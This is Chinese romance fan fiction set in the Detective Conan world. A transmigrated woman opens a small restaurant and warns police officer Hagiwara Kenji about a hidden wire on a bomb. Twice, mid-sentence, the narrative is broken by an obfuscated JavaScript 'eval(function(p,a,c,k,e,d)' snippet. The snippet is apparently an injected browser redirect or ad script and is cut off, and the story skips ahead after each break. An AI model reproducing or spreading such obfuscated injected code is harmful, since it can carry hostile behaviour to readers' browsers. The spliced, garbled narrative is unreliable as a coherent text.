玥涵心中一松,连忙按照之前编好的借口,详细描述了自己“路过废弃工厂时看到可疑人员藏东西,之后特意返回寻找”的过程。她语速平稳,尽量让自己的叙述听起来天衣无缝,偶尔抬头观察松田阵平的反应,却只看到他专注记录的侧脸,看不出丝毫情绪波动。 十几分钟后,笔录终于结束。松田阵平放下钢笔,将笔录本推到她面前:“核对一下内容,如果没问题,在这里签字。”他的指尖不小心碰到了她的手背,两人都下意识地缩回了手。玥涵的脸颊瞬间升温,心跳漏了一拍,她慌忙低下头,拿起笔仔细核对笔录内容。 内容和她刚才描述的一致,没有任何遗漏。她在签字栏写下自己的名字,字迹有些潦草,带着一丝不易察觉的紧张。签完字后,她将笔录本推回给松田阵平,声音细若蚊蚋:“好了。” 松田阵平收起笔录本,站起身,语气平淡地说:“你的身份信息不全,无法录入系统。后续有需要,我们会再联系你。” 这句话像一盆冷水,瞬间浇灭了玥涵心中刚刚升起的希望。她的肩膀猛地垮了下来,眼神黯淡下去,原本挺直的背脊也变得佝偻。她知道会是这样的结果,可亲耳听到从松田阵平口中说出来,还是忍不住感到失落和无助。“我知道了。”她的声音很轻,带着一丝不易察觉的委屈,“谢谢你……松田警官。” 她站起身,慢慢走向门口,脚步沉重得像灌了铅。没有身份,就没有临时庇护所,今晚又要流落街头了。区役所的工作人员冰冷的语气、城管严肃的呵斥、小混混不怀好意的目光……一幕幕在她脑海中闪过,绝望像潮水般涌来,几乎要将她淹没。 就在她的手即将触碰到门把手时,身后突然传来松田阵平的声音,依旧是淡淡的语气,却带着一丝不易察觉的柔和:“等等。” 玥涵猛地停下脚步,惊喜地回头看向他,眼中满是疑惑。 松田阵平没有看她,只是低头整理着桌上的文件,语速平稳地说:“区役所设有临时庇护所,专门接收你这种情况的外来人员。带上刚才的笔录证明,去那边报备,或许可以申请到临时住宿。”他顿了顿,补充道,“办理临时身份证明,除了担保人,也可以通过完成社区服务积累信用分,达到一定分数后,就能申请了。” 玥涵的眼睛瞬间亮了起来,像被点亮的星辰。她不敢相信自己的耳朵,松田阵平竟然在帮她!这个平日里看起来冷冰冰、桀骜不驯的男人,竟然会用这种隐晦的方式,给她指了一条明路。一股暖流瞬间涌遍全身,驱散了心中的寒冷和绝望。 “谢谢你,松田警官!真的……太谢谢你了!”她的声音带着一丝哽咽,眼中闪烁着泪光。这是她来到这个世界后,第一次感受到来自松田阵平的善意,这份善意虽然隐晦,却比任何帮助都让她感到温暖。 松田阵平似乎有些不适应她的热情,避开了她的目光,拿起桌上的笔录本,转身走向门口:“只是例行提醒,不用谢。走吧,我带你去区役所报备。”他的耳根微微发红,却依旧装作若无其事的样子,率先走出了笔录室。 玥涵连忙跟了上去,看着他挺拔的背影,嘴角不由自主地扬起一抹笑容。夕阳的余晖透过警署走廊的窗户照进来,在地面上投下斑驳的光影,将两人的影子拉得很长很长。空气中仿佛多了一丝微妙的暖意,驱散了之前的沉闷和压抑。 两人并肩走在走廊上,没有说话,却并不觉得尴尬。玥涵偶尔偷偷看向松田阵平,发现他的侧脸在夕阳的映照下,少了几分平日里的桀骜,多了几分柔和。她的心跳渐渐加速,心中悄然埋下一颗种子——这个外冷内热的男人,似乎并没有表面上那么难以接近。 走出警署大门,夕阳的光芒更加柔和,将天空染成了温暖的橙红色。松田阵平的警车就停在门口,他打开车门,示意玥涵上车。“上车吧,区役所离这里有点远,步行过去要很久。” 临时庇护所的床位简陋却干净,硬邦邦的床垫铺着一层薄薄的棉絮,窗外是老旧居民区的巷道,深夜总能听到野猫的叫声和零星的车鸣。但对玥涵来说,这里已是绝境中的安稳——至少不用再担心风吹雨打,不用再在公园长椅上熬过漫漫长夜。松田阵平那句隐晦的提醒,像一把钥匙,为她撬开了生存的缝隙。 清晨的闹钟还没响,玥涵就已经起床。她换上洗得发白的外套,揣着几个从便利店买的廉价饭团,早早赶到社区服务点。清理街道的落叶、帮独居老人采购生活用品、整理社区活动的资料,这些琐碎的工作没有任何技术含量,却能一点点积累信用分。她做得格外认真,指尖被扫帚磨出红痕也不在意,毕竟每一分努力,都是在为拿到临时身份证明铺路。 社区里的独居老人大多温和,看到她勤快又细心,总会塞给她几颗水果或一块点心。有位姓山田的老奶奶,知道她是华夏人,还特意学做了华夏风味的糯米团,每次见到她都拉着她唠家常,用生硬的中文夹杂着日语,问她家乡的事情。玥涵坐在老奶奶的小院子里,吃着温热的糯米团,听着老人絮絮叨叨的叮嘱,心中泛起阵阵暖意。这份来自陌生人的善意,让她在这个陌生的城市里,渐渐找到了一丝归属感。 傍晚时分,玥涵结束社区服务,匆匆赶往新宿夜市。她的小摊依旧支在那个僻静的角落,只是这次特意准备了一块小小的招牌,用中日双语写着“华夏小吃·馄饨·小笼包”。天色渐暗,夜市的灯笼次第亮起,暖黄的光晕裹着食物的香气,将整条街衬得格外热闹。她熟练地揉面、包馅,小笼包在铁板上滋滋作响,馄饨在沸水中翻滚,浓郁的香气很快吸引了不少回头客。 “一份馄饨,打包。”熟悉的冷冽声线响起,玥涵抬头,撞进松田阵平深邃的眼眸里。他刚结束工作,警服外套搭在臂弯里,里面是干净的白色衬衫,领口微敞,带着一丝刚从忙碌中抽离的疲惫。玥涵的心跳莫名漏了一拍,连忙低下头,加快手上的动作:“好,马上就好。” 她特意多煮了两个馄饨,装进纸碗里,又淋上一勺滚烫的高汤。递过去时,指尖不小心碰到他的手,两人都下意识地缩回了动作。玥涵的脸颊瞬间升温,不敢抬头看他,只听到他低沉的声音响起:“多少钱?” “不用了,”她小声说,“谢谢你之前的提醒,这碗我请你。” 松田阵平没说话,直接将钱放在摊位上,拿起馄饨转身就要走。走到两步,又停下脚步,背对着她,语气平淡地丢下一句:“最近夜市有城管抽查,早点收摊。”说完,便融入了熙熙攘攘的人群中。 玥涵看着他消失的方向,又看了看摊位上的钱,心中五味杂陈。这个男人总是这样,嘴上冷冰冰的,却总能在不经意间流露出温柔。她将钱小心翼翼地收好,心里暗暗记下他的提醒,加快了手上的动作。 接下来的几天,松田阵平总会在下班时过来买一份小吃,有时是馄饨,有时是小笼包。他话不多,每次都是点单、付钱、离开,很少和她闲聊,但每次离开前,都会留下一句简短的提醒:“今晚有雨,记得带伞”“这条街晚上不太平,尽量走大路”。玥涵将这些提醒一一记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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玥涵摇摇头,眼眶却不受控制地发红,眼泪在眼眶里打转。刚才的恐惧还没散去,劫后余生的庆幸和对松田阵平的感激交织在一起,让她一时说不出话来。“我没事,谢谢你……又救了我。”她的声音带着一丝哽咽。 松田阵平的目光落在她推车里剩下的几个小笼包上,眉头微微皱起:“还没吃饭?”玥涵点点头,她今天忙着出摊,只在中午吃了一个饭团,现在早已饥肠辘辘。松田阵平没说话,拉起她的推车,语气不容置疑:“走吧,去我那里。” 玥涵愣了一下,下意识地想拒绝,却被他坚定的眼神拦住。她只能乖乖跟上,看着他挺拔的背影,心中泛起阵阵暖意。松田阵平的公寓离这里不远,是一栋安静的小高层。打开门,一股淡淡的消毒水味混合着阳光的气息扑面而来。公寓很小,却收拾得一丝不苟,家具摆放整齐,地板干净得能反光,看得出来主人很爱整洁。 “你坐在这里等一下。”松田阵平指了指客厅的沙发,然后拉起推车走进了厨房。玥涵坐在沙发上,有些拘谨地环顾四周。客厅的墙上挂着一幅简单的风景画,茶几上放着一本翻开的推理小说,旁边还有一个没喝完的咖啡杯。这里的一切都很简单,却透着一种安稳的生活气息。 厨房里传来水流声和厨具碰撞的声音。玥涵悄悄走过去,靠在厨房门口,看到松田阵平正笨拙地系着围裙。他的动作有些僵硬,显然不常做饭。他从冰箱里拿出鸡蛋和面条,先往锅里倒了水,等水烧开后,小心翼翼地将面条放进去,又磕了两个鸡蛋,笨拙地煎成荷包蛋。 几分钟后,一碗热气腾腾的面条端了出来,放在餐桌上。面条上卧着两个金黄的荷包蛋,还撒了少许葱花,香气扑鼻。“先吃点垫垫肚子。”松田阵平将筷子递给她,语气依旧平淡,耳根却微微发红,显然有些不自在。 玥涵拿起筷子,小口小口地吃着面条。温热的面条滑进胃里,驱散了深夜的寒冷和饥饿,更带来了一种前所未有的温暖。这是她来到这个世界后,第一次吃到有人特意为她做的饭,带着浓浓的人情味。眼泪忍不住掉了下来,滴在碗里,晕开小小的涟漪。 松田阵平看到她落泪,瞬间慌了神,手足无措地从口袋里掏出纸巾,递到她面前:“别哭……是不是不好吃?”他的语气带着一丝慌乱,和平时的冷静截然不同。 玥涵摇摇头,哽咽着说:“很好吃,谢谢你。”她抬起头,泪眼婆娑地看着他,眼中满是感激。松田阵平避开她的目光,耳根更红了,他咳嗽了一声,从抽屉里拿出一张纸和一支笔,写下一串数字,递给她:“这是我的私人手机号。以后再遇到这种事,给我打电话。” 玥涵小心翼翼地接过纸条,紧紧攥在手心。 4. 第 4 章 临时庇护所清晨的钟声还没敲响,玥涵已经揣着温热的糯米团走在了街头。山田老奶奶给的糯米团还带着掌心的温度,甜糯的香气漫过舌尖,让她连日来紧绷的神经都舒缓了几分。口袋里那张写着松田阵平私人手机号的纸条被叠得整齐,边缘已经被反复摩挲得有些发毛,这是她在这个世界里,除了那点微薄积蓄外,最踏实的依靠。 社区服务的信用分终于攒够,系统奖励的临时身份证明稳稳揣在口袋里,塑料卡片的质感坚硬而真实。玥涵站在区役所门口,看着往来的人群,心中那颗关于“安稳”的种子终于开始破土——她不想再在夜市里提心吊胆地摆摊,不想再被城管的巡查追得狼狈,更想有一个能让松田阵平、萩原研二他们随时找到的固定角落。开一家小餐馆的念头,像春日里的藤蔓,一旦生根,便疯狂地缠绕住她的思绪。 接下来的几天,玥涵几乎把警视厅周边的街巷都踏遍了。她要找的不是最繁华的地段,而是租金亲民、能容下几张桌子的小铺面。正午的阳光毒辣,晒得她皮肤发烫,额角的汗珠顺着脸颊滑落,滴在领口晕开小小的水渍。她啃着最便宜的饭团,在巷弄里穿梭,看到“招租”的牌子就立刻上前询问,被拒绝了好几次也不气馁——比起初来乍到的无措,这点辛苦根本不值一提。 终于,在警视厅后方一条僻静的巷子里,她找到了合适的铺面。铺面不大,只有十几平米,墙面有些斑驳,门口还堆着前任租客留下的杂物,但胜在租金便宜,而且离□□处理班的办公楼不远。房东是个和蔼的老爷爷,看她一个小姑娘不容易,还主动降了五百日元的租金,答应给她三天时间清理场地。 “太好了!谢谢您!”玥涵深深鞠躬,声音里满是抑制不住的喜悦。走出房东家,她第一时间拿出手机,犹豫了几秒,最终还是拨通了萩原研二的电话——上次城管突袭时,他留下了联系方式,说有困难可以找他。 电话接通的瞬间,萩原研二爽朗的声音就传了过来:“玥涵?怎么突然给我打电话,是不是遇到麻烦了?” “不是麻烦,是有好事想告诉你。”玥涵的声音带着笑意,“我找到铺面了,想开一家华夏小吃店,就是不知道怎么办理经营许可,还有装修方面也不太懂……” “这有什么难的!交给我就好!”萩原研二想都没想就应了下来,“我下午正好休息,现在就过去找你,带你去办理许可的地方咨询,再帮你看看装修的事。” 挂了电话,玥涵心中暖暖的。她回到铺面,开始一点点清理门口的杂物。刚搬了没一会儿,就看到萩原研二骑着摩托车赶了过来,他穿着休闲的T恤和牛仔裤,头上戴着鸭舌帽,比穿警服时多了几分少年气。“在哪儿呢?”他远远地喊了一声,看到玥涵在清理杂物,立刻停下车跑了过来,二话不说就拿起扫帚帮忙。 “你怎么还自己动手?等我来就好。”萩原研二抢过她手里的扫帚,动作麻利地清扫起来,“经营许可需要的材料我都问清楚了,待会儿带你去政务大厅办理,有我陪着,他们会快一点。装修的话,我认识几个靠谱的工人,价格也公道,我帮你联系。” 玥涵看着他忙碌的身影,心中满是感激:“萩原警官,真的太麻烦你了。” “都说了叫我研二就好,别这么客气。”萩原研二回头冲她笑了笑,阳光透过树叶的缝隙洒在他脸上,格外耀眼,“你一个女孩子在这边创业不容易,我们好歹也是朋友,互相帮忙是应该的。再说了,以后我还能天天来蹭吃蹭喝呢!” 有了萩原研二的帮忙,事情进展得格外顺利。经营许可的手续很快就提交了审核,装修工人也联系好了,第二天就能开工。玥涵站在空荡荡的铺面前,想象着这里以后摆满桌椅、飘满食物香气的样子,嘴角不由自主地扬起笑容。 装修开工那天,玥涵一早就赶到了铺面。工人师傅们正在有条不紊地拆卸旧家具、打磨墙面,刺耳的电锯声在巷子里回荡。她在一旁帮忙递工具、买水,忙得不可开交。傍晚时分,她正坐在门口的台阶上休息,突然看到一个熟悉的身影出现在巷口。 松田阵平穿着警服,显然是刚下班。他没有直接走过来,只是站在巷口,静静地看着铺子里忙碌的景象。玥涵的心跳瞬间加速,她站起身,有些拘谨地打招呼:“松田警官。” 松田阵平走了过来,目光扫过铺子里的装修进度,最后落在她身上,看到她脸上沾着的灰尘,眉头微微皱了一下。“在忙装修?”他语气平淡,听不出情绪。 “嗯,准备开一家华夏小吃店。”玥涵点点头,下意识地想擦脸上的灰尘,却不小心把灰尘抹得更均匀了。松田阵平看着她狼狈的样子,眼神柔和了些许,从口袋里掏出一张纸巾,递了过去:“擦擦。” 玥涵接过纸巾,脸颊微微发烫,小心翼翼地擦着脸上的灰尘。“谢谢你。”她小声说,“之前的事,还有办理身份证明的事,都要谢谢你。” “举手之劳。”松田阵平避开她的目光,看向铺子里的装修结构,“墙面的承重结构要注意,电路也要重新检查,避免安全隐患。”他顿了顿,补充道,“晚上装修不安全,让工人早点收工。” 玥涵心中一暖,知道他是在关心自己。“我知道了,谢谢你提醒。” 松田阵平没再多说,转身就要走。走到巷口时,又停下脚步,背对着她丢下一句:“如果需要帮忙搬东西,给我打电话。”说完,便走进了渐渐暗下来的夜色中。 接下来的几天,松田阵平果然会在下班后过来。他从不张扬,只是默默地帮着搬沉重的桌椅、检查墙面的牢固度、确认电路的安全。他话不多,却总能在最需要的时候出现,帮她解决最棘手的问题。玥涵看着他忙碌的身影,心中的情愫像藤蔓一样悄悄生长,这个外冷内热的男人,总是用最隐晦的方式,给她最坚实的依靠。 这天上午,玥涵正在铺子里整理材料,一个穿着浅蓝色连衣裙的女孩走了进来。女孩看起来和她年纪相仿,眼神明亮,带着一丝怯生生的期待:“请问……这里是要招人吗?” 玥涵愣了一下,随即点点头:“是的,请问你是?” “我叫林晚,是华夏人,刚到东京不久,正在找工作。”林晚的声音有些发颤,却很真诚,“我之前在华夏的餐馆做过服务员,也会一点管理的工作,我什么都能做,工资可以少一点。” 看着林晚眼中的期待和不安,玥涵仿佛看到了初来乍到的自己。她心中一软,笑着说:“我叫玥涵,也是华夏人。我这里正好需要一个店长,负责打理餐馆的日常运营,如果你愿意的话,明天就可以来上班。” 林晚不敢相信自己的耳朵,眼睛瞬间亮了起来:“真的吗?谢谢你!玥涵姐,我一定会好好干的!” 林晚的加入,让玥涵轻松了不少。她很有能力,不仅把装修的琐事打理得井井有条,还提前规划好了餐馆的菜单、营业时间和服务流程,甚至还设计了简单的宣传海报。玥涵看着林晚忙碌的身影,心中满是庆幸——幸好遇到了她,不然自己真的不知道要忙到什么时候。 半个月后,小餐馆终于装修完成。墙面被刷成了温暖的米黄色,窗户上挂着浅蓝色的窗帘,几张原木色的桌椅整齐地摆放着,墙角还放了几盆小小的绿植,整个空间温馨而明亮。玥涵给餐馆取名“涵味居”,寓意着“玥涵的味道,温暖的居所”。她亲手写了招牌,用中日双语写着“涵味居·华夏小吃·馄饨·小笼包”,挂在门口的那一刻,她的眼睛湿润了——这是她在这个世界里,第一个真正属于自己的角落。 开业那天,天刚蒙蒙亮,玥涵就和林晚忙碌起来。采购新鲜的食材、打扫卫生、准备馅料,一切都有条不紊。上午十点,涵味居正式开业,没有盛大的仪式,只有门口挂着的两个红灯笼,透着喜庆的气息。 第一个来捧场的是萩原研二,他带着好几个同事,刚进门就大声嚷嚷:“玥涵,恭喜开业!我们可是特意来蹭吃的!”他身后的佐藤雅笑着走上前,递给玥涵一束小小的向日葵:“玥涵姐,恭喜开业,祝你生意兴隆。” “谢谢你们!快请坐!”玥涵笑着招呼他们,心中暖暖的。 餐馆里渐渐热闹起来,警视厅的同事们络绎不绝地赶来,有的是冲着萩原研二的推荐,有的是之前在夜市吃过她的小吃,特意过来捧场。玥涵和林晚忙碌着,脸上始终带着笑容。 就在这时,松田阵平走了进来。他穿着便服,身姿挺拔,在喧闹的人群中格外显眼。他没有像其他人一样喧闹,只是默默地走到角落的位置坐下,目光落在玥涵忙碌的身影上,眼神温柔得像一汪春水。玥涵注意到他,心中一暖,快步走了过去,端着一碗刚煮好的馄饨放在他面前,笑着说:“松田警官,谢谢你一直以来的照顾。这碗馄饨,我请你。” 松田阵平抬起头,对上她明亮的眼眸,嘴角不自觉地扬起一抹浅浅的弧度。“恭喜开业。”他的声音很轻,却带着真诚的祝福。馄饨的热气袅袅升起,模糊了两人的眉眼,空气中弥漫着食物的香气和淡淡的暧昧。 玥涵系着干净的碎花围裙,正弯腰擦拭桌面,指尖划过光滑的木纹,鼻尖萦绕着淡淡的面粉香和高汤的醇厚气息。开业半个多月,小店的生意早已步入正轨,熟客的招呼声、餐具的碰撞声,交织成最鲜活的市井乐章,将曾经漂泊无依的窘迫都冲淡了几分。 “玥涵姐,早啊!”林晚拎着新鲜的蔬菜走进来,脸上带着元气满满的笑容,“今天的猪肉和小葱都特别新鲜,我特意让老板留的。”她将蔬菜放进后厨,转身熟练地系上围裙,“对了,松田警官和萩原警官昨天说,今天早上会过来吃早餐,要不要提前准备好他们爱吃的?” 玥涵的心跳莫名漏了一拍,指尖微微一顿,随即笑着点头:“好啊,把他们喜欢的小笼包和馄饨提前备好,汤煮得热一点。”松田阵平偏爱皮薄馅大的馄饨,汤里要少放葱花;萩原研二则喜欢煎得金黄酥脆的小笼包,配上一小碟辣椒油——这些细节,她早已悄悄记在心里。 上午八点多,涵味居刚迎来一波早高峰,松田阵平和萩原研二就并肩走了进来。松田阵平依旧是一身利落的警服,眉眼间带着刚从执勤路上赶来的疲惫,却在看到玥涵时,眼神柔和了些许;萩原研二则穿着休闲的便服,刚一进门就大声嚷嚷:“玥涵,早啊!快给我们来两份招牌套餐,昨晚加班到半夜,饿死我了!” “马上就来!”玥涵应了一声,转身走进后厨。很快,两碗热气腾腾的馄饨、两笼金黄的小笼包就端上了桌。萩原研二迫不及待地拿起筷子,咬了一口小笼包,滚烫的汤汁在口腔里爆开,他满足地眯起眼睛:“还是你做的味道最正宗!比外面那些连锁店好吃多了。” 松田阵平则慢条斯理地吃着馄饨,目光偶尔落在玥涵忙碌的身影上。看到她额角渗出的汗珠,他不动声色地拿起桌上的纸巾,递了过去:“擦擦汗。”玥涵愣了一下,接过纸巾,脸颊微微发烫,小声说了句“谢谢”。一旁的萩原研二看在眼里,眼中闪过一丝狡黠的笑意,却没有点破,只是埋头继续吃着小吃。 两人吃完早餐,萩原研二抢先付了钱,笑着说:“玥涵,我们下午有任务,可能要晚一点过来。对了,下次我带景光和伊达过来尝尝,他们肯定也会喜欢的。”提到诸伏景光和伊达航,他的眼神亮了几分,语气里满是熟稔的亲昵。 玥涵的心猛地一跳,系统任务的四个目标,她已经遇到了两个。她强压下心中的波澜,笑着点头:“好啊,我随时欢迎。你们执行任务要小心一点。”这句话说得格外真诚,眼中的担忧毫不掩饰。 松田阵平察觉到她语气中的关切,心中泛起一丝暖意,点了点头:“放心。”两人转身走出涵味居,阳光将他们的身影拉得很长,直到消失在巷口。玥涵看着他们离开的方向,嘴角不由自主地扬起一抹笑容——这样平静温馨的日子,真好。她多么希望,这样的时光能一直延续下去,他们都能平安顺遂,远离那些注定的悲剧。 然而,这份平静并没有持续太久。上午十点,玥涵刚送走一批客人,正准备和林晚一起整理食材,脑海中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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松田阵平会相信她吗?会不会觉得她是故意捣乱?甚至,会不会因为她知道得太多,而对她产生怀疑,进而调查她的身份?她的身份是最大的软肋,一旦被深究,后果不堪设想。可是,如果她不提醒,萩原研二就会必死无疑!那个温暖爽朗的少年,就会永远消失在这个世界上! 一边是暴露身份的风险,一边是萩原研二的生命安全。玥涵站在街头,内心陷入了痛苦的挣扎。风卷着落叶吹过她的脸颊,带来一阵凉意,却丝毫无法平复她内心的慌乱。她的脑海中不断闪过萩原研二温暖的笑容,闪过他在城管面前为她解围的身影,闪过他热情地给她介绍东京的样子…… 不能让他死!无论如何,都不能让他死!玥涵猛地握紧拳头,眼中闪过一丝决绝。她赌不起,也不敢赌。就算会暴露身份,就算会引起他们的怀疑,她也要试一试!她必须提醒萩原研二! 她不再犹豫,转身冲向路边的出租车停靠点,拦了一辆出租车,急促地对司机说:“师傅,麻烦快点,去米花町废弃工厂!”司机看了她一眼,见她脸色苍白,神情急切,没有多问,立刻发动了车子。 车子在马路上飞速行驶,窗外的风景不断倒退,玥涵的心跳越来越快,手心全是冷汗。她不停地在心里祈祷,祈祷自己能赶得及,祈祷萩原研二还没有进入工厂,祈祷一切都还来得及。 半个小时后,出租车停在了米花町废弃工厂附近。玥涵付了钱,立刻推开车门跑了出去。远远地,她就看到工厂周围拉起了黄色的警戒线,警戒线外围了不少看热闹的路人,几名警员正在维持秩序。她的目光穿过人群,紧紧地盯着警戒线内——萩原研二和松田阵平正站在工厂门口,穿着厚重的防爆服,头盔放在一旁,似乎正在和同事交代着什么。萩原研二的脸上还带着熟悉的爽朗笑容,丝毫没有察觉到死亡的阴影正在向他逼近。 玥涵的心一下子提到了嗓子眼,她想冲进去,却被警戒线拦住了。“小姐,这里是案发现场,不能靠近!”警员严肃地拦住了她。 “我有急事要找萩原警官!”玥涵急得眼泪都快掉下来了,语气带着一丝哀求,“请你让我进去,我真的有很重要的事情要告诉他!” “抱歉,这是规定,不能破例。”警员的语气不容置喙。 时间一分一秒地流逝,萩原研二和松田阵平已经拿起了头盔,准备戴上。玥涵知道,不能再等了!她深吸一口气,后退了几步,绕到警戒线相对偏僻的侧面。这里的警员比较少,注意力都集中在工厂门口。她站稳脚步,用尽全身的力气,对着萩原研二的方向,用流利的中文大声喊道:“萩原研二!小心里面的‘惊喜’!那些藏在暗处的引线,比你看到的更危险!” 她的声音因为紧张而有些发颤,却在嘈杂的环境中显得格外清晰。正在戴头盔的萩原研二动作猛地一顿,下意识地抬起头,朝着声音传来的方向望去。他看到了站在警戒线外的玥涵,虽然没有完全听懂她喊的中文,但“小心”“藏在暗处”“危险”这几个关键词,他还是准确地捕捉到了。他的眉头微微皱起,眼中闪过一丝疑惑,却还是下意识地将她的提醒记在了心里。 不远处的松田阵平也听到了玥涵的声音,他猛地转过头,目光锐利地锁定了玥涵的身影。看到她脸色苍白、眼神急切地望着这边,他的心中充满了疑惑和不解。她怎么会在这里?她为什么会知道这里有危险?她口中的“藏在暗处的引线”,又是什么意思?无数个疑问在他的脑海中盘旋,但此刻,他没有时间细想——任务即将开始。 玥涵看到萩原研二望向自己,知道他听到了自己的话,心中稍稍松了一口气。她没有再多说,只是对着萩原研二用力点了点头,眼神坚定而真诚,示意他一定要相信自己,一定要小心。 松田阵平深深地看了玥涵一眼,眼神复杂难辨,随即转过头,对萩原研二说了句什么。两人戴上头盔,转身走进了废弃工厂。玥涵站在警戒线外,看着他们的身影消失在工厂门口,心脏依旧在疯狂地跳动着。她不知道,自己的提醒是否有用,也不知道萩原研二能否平安归来。她只能在心里默默祈祷,祈祷这一次,她能成功改变他的命运。 5. 第 5 章 米花町废弃工厂内,弥漫着浓重的铁锈味与粉尘,阳光透过破损的屋顶缝隙,在地面投下几道歪斜的光柱,恰好照亮了中央那枚静静躺着的□□。厚重的防爆服压得肩膀发沉,萩原研二透过头盔的透明面罩,眼神专注地落在□□上,指尖握着的拆弹钳微微发凉。耳边是同事的呼吸声和仪器的滴滴声,每一次声响都像敲在神经上,让空气里的紧张感愈发浓稠。 “研二,左侧引线确认无误,可以切断。”对讲机里传来松田阵平冷静的声音,他站在不远处,目光紧锁着□□,时刻准备应对突发状况。按照常规流程,切断左侧引线,再拆除主□□,任务就能顺利完成。萩原研二的手指已经触碰到引线,却突然顿住——警戒线外玥涵那声急促的呼喊,像一根细针,刺破了他的惯性思维。 “小心里面的‘惊喜’,有些东西藏得很深!”女孩的声音带着紧张的颤音,却异常清晰。他虽然没完全听懂中文,可“小心”“藏得深”这两个关键词,像警钟一样在脑海里敲响。萩原研二皱了皱眉,放弃了立刻剪线的动作,转而将拆弹钳伸向□□的底部。那里被一层厚厚的绝缘胶带包裹着,从表面看毫无异常。 “研二,怎么了?”松田阵平察觉到他的迟疑,语气里多了几分警惕。 “没事,再检查一下底部。”萩原研二的声音透过对讲机传来,带着一丝不易察觉的凝重。他用拆弹钳小心翼翼地撕开绝缘胶带,一层又一层,直到最后,一根细如发丝的银色引线赫然出现在眼前。这根引线紧贴着□□外壳,颜色与金属几乎融为一体,一端连接着备用□□,另一端则埋在□□内部,不仔细检查,根本不可能发现。 “该死!”萩原研二低声咒骂了一句,后背瞬间渗出冷汗。他清楚地知道,这根隐藏引线的威力——一旦他刚才剪断左侧主引线,备用装置就会被触发,整个工厂都会被夷为平地,他和周围的同事都将无一幸免。 “发现异常?”松田阵平的声音立刻变得急促。 “是隐藏备用引线,差点中招。”萩原研二深吸一口气,强迫自己冷静下来。他调整好呼吸,指尖稳稳地握住拆弹钳,一点点靠近那根细小的引线。时间仿佛在这一刻静止,每一秒都格外漫长。他能清晰地听到自己的心跳声,与仪器的滴滴声交织在一起,构成一曲紧张的乐章。 终于,随着“咔嚓”一声轻响,隐藏引线被成功剪断。备用□□的指示灯瞬间熄灭,危险解除。工厂内响起一阵轻微的欢呼声,同事们紧绷的神经终于放松下来。萩原研二摘下头盔,额角的汗珠顺着脸颊滑落,浸湿了防爆服的领口。他回头看向松田阵平,露出一个劫后余生的笑容:“搞定了。” 松田阵平也松了口气,走上前拍了拍他的肩膀,语气里带着一丝后怕:“干得好。刚才怎么突然想到检查底部?” “多亏了玥涵。”萩原研二拿起头盔,快步往工厂外走去,“她在警戒线外提醒我,说里面有‘惊喜’,有些东西藏得深。要不是她,我今天可能就栽在这里了。” 松田阵平的脚步顿了一下,眼中闪过一丝复杂的情绪。那个总是带着秘密的女孩,又一次在关键时刻出现,用她独特的方式,守护了他们。他没有再多说,快步跟上萩原研二的脚步,往工厂外走去。 警戒线外,玥涵一直紧绷着神经,双手紧紧攥在一起,指节因为用力而泛白。她看着工厂的大门,心里不停地祈祷着,生怕自己的提醒不够及时,生怕会听到那声毁灭性的爆炸。直到看到萩原研二和松田阵平并肩走出来,两人都没有受伤,她悬着的心才终于落了下来,双腿一软,差点瘫坐在地上。 “玥涵!”萩原研二一眼就看到了她,快步冲了过来,激动地抓住她的肩膀。他的力气很大,捏得玥涵有些疼,却让她感受到了真切的活着的气息。“你刚才说的‘惊喜’,是不是就是那个隐藏引线?你怎么知道的?”他的眼神里满是激动和疑惑,语气急切地追问着。 周围的警员也纷纷看了过来,好奇地打量着这个在关键时刻提醒萩原警官的女孩。玥涵深吸一口气,强迫自己冷静下来,脸上露出一个恰到好处的笑容,语气自然地解释道:“我之前在华夏的时候,跟着做爆破研究的亲戚接触过一些□□相关的知识。刚才看到这个工厂的结构,觉得这种隐蔽的角落很容易设置备用装置,就想着提醒你一下,没想到真的帮上忙了。” 这个说辞半真半假,既解释了自己为什么会懂这些,又不会暴露系统的存在。萩原研二虽然还有些疑惑,但更多的是浓浓的感激。他松开抓着玥涵肩膀的手,挠了挠头,脸上露出爽朗的笑容:“不管怎么说,你都是我的幸运星!太谢谢你了,玥涵!如果不是你,我今天可就真的危险了。” 松田阵平也走了过来,他站在玥涵面前,目光深深地看着她。阳光洒在他的脸上,柔和了他凌厉的轮廓,眼中的警惕早已消失不见,取而代之的是感激、疑惑,还有一丝说不清道不明的情愫。“你对□□的了解,不止是‘接触过一些’那么简单吧?”他的语气很平淡,却带着一种不容置疑的穿透力。 玥涵的心跳瞬间加速,她知道,松田阵平比萩原研二更敏锐,也更难糊弄。她没有回避他的目光,眼神澄澈而真诚:“只是比普通人多懂一点点而已。毕竟亲戚是做这方面研究的,耳濡目染,多少知道一些规避风险的小技巧。”她顿了顿,补充道,“我只是担心你们的安全,没有别的意思。” 松田阵平盯着她的眼睛看了几秒,看到她眼中毫无恶意的担忧,心中最后一丝疑虑也烟消云散。他知道,这个女孩身上一定藏着很多秘密,但他能确定,她没有伤害他们的意思,甚至一直在默默守护着他们。他微微颔首,语气比平时柔和了许多:“我知道。谢谢你的提醒。” 简单的一句话,却像一把钥匙,打开了两人之间信任的大门。玥涵心中一暖,眼眶微微发热。她知道,从这一刻起,她不再是那个被他们怀疑的陌生人,而是真正被他们接纳、信任的人。 “好了好了,别说这些了!”萩原研二看出了两人之间微妙的氛围,笑着打圆场,“任务圆满完成,又躲过一劫,必须好好庆祝一下!玥涵,走,去你的涵味居,我要吃十笼小笼包!这次我请客!” “我请吧。”松田阵平开口,目光落在玥涵身上,语气带着一丝不易察觉的温柔,“感谢你的提醒,这顿饭,理应我来请。” 玥涵笑着点点头:“好啊,那我们走吧。涵味居还有刚包好的小笼包,保证让你们吃个够。” 